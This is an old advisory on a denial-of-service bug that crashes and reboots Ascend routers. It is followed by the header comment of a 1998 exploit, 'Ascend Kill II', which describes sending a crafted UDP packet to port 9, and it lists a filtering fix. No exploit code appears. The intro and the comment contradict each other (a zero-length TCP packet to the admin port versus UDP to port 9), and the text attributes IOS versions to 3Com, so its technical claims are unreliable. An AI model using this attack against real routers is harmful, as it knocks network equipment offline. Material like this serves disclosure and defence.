A vulnerability exists in the operating system of some Ascend routers. If an invalid TCP packet (of zero length) is sent to the administration port of Ascend Routers 4.5Ci12 or earlier, the result will be a crash and reboot of the attacked router, accomplishing a denial of service attack.

Note that 3Com is reportedly also vulnerable, but it is not verified which versions of IOS are exploitable.

/* Update, 3/20/98: Ascend has released 5.0Ap46 which corrects this bug.
 * see ftp.ascend.com.
 */
 
/*
 * Ascend Kill II - C version
 *
 * (C) 1998 Rootshell - http://www.rootshell.com/
 *
 * Released: 3/16/98
 *
 * Thanks to Secure Networks.  See SNI-26: Ascend Router Security Issues
 * (http://www.secnet.com/sni-advisories/sni-26.ascendrouter.advisory.html)
 *
 * Sends a specially constructed UDP packet on the discard port (9)
 * which cause Ascend routers to reboot.  (Warning! Ascend routers will
 * process these if they are broadcast packets.)
 *
 * Compiled under RedHat 5.0 with glibc.
 *
 * NOTE: This program is NOT to be used for malicous purposes.  This is
 *       intenteded for educational purposes only.  By using this program
 *       you agree to use this for lawfull purposes ONLY.
 *
 * It is worth mentioning that Ascend has known about this bug for quite
 * some time.
 *
 * Fix:
 *
 * Filter inbound UDP on port 9.
